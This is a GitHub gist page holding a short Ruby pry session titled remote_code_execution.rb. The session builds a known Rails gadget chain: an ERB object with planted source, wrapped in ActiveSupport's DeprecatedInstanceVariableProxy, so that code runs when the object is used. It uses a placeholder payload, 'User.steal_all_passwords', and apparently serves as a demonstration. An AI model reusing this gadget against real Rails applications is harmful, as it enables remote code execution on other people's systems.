Skip to content

Instantly share code, notes, and snippets.

@afcapel

afcapel/remote_code_execution.rb

Last active November 20, 2015 16:18
Show Gist options
  • Save afcapel/b78667b50dad948ba8bb to your computer and use it in GitHub Desktop.
Save afcapel/b78667b50dad948ba8bb to your computer and use it in GitHub Desktop.
Download ZIP
Raw
remote_code_execution.rb
[1] pry(main)> rating = Rating.new
=> #<Rating id: nil, comment: nil>
[2] pry(main)> erb = ERB.allocate
=> #<ERB:0x007f841b98ba10>
[3] pry(main)> proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
=> #<ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy:0x3fc20dca5a08>
[5] pry(main)> erb.instance_variable_set :@src, "User.steal_all_passwords;"
=> "User.steal_all_passwords;"
[6] pry(main)> rating.comment = proxy
DEPRECATION WARNING: @result is deprecated! Call result.respond_to? instead of @result.respond_to?. Args: [:to_hash]. (called from <main> at (pry):34)
NoMethodError: undefined method `steal_all_passwords' for #<Class:0x007f8447b5c520>
from /Users/alberto/.rbenv/versions/2.1.6/lib/ruby/gems/2.1.0/gems/activerecord-4.1.12/lib/active_record/dynamic_matchers.rb:26:in `method_missing'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment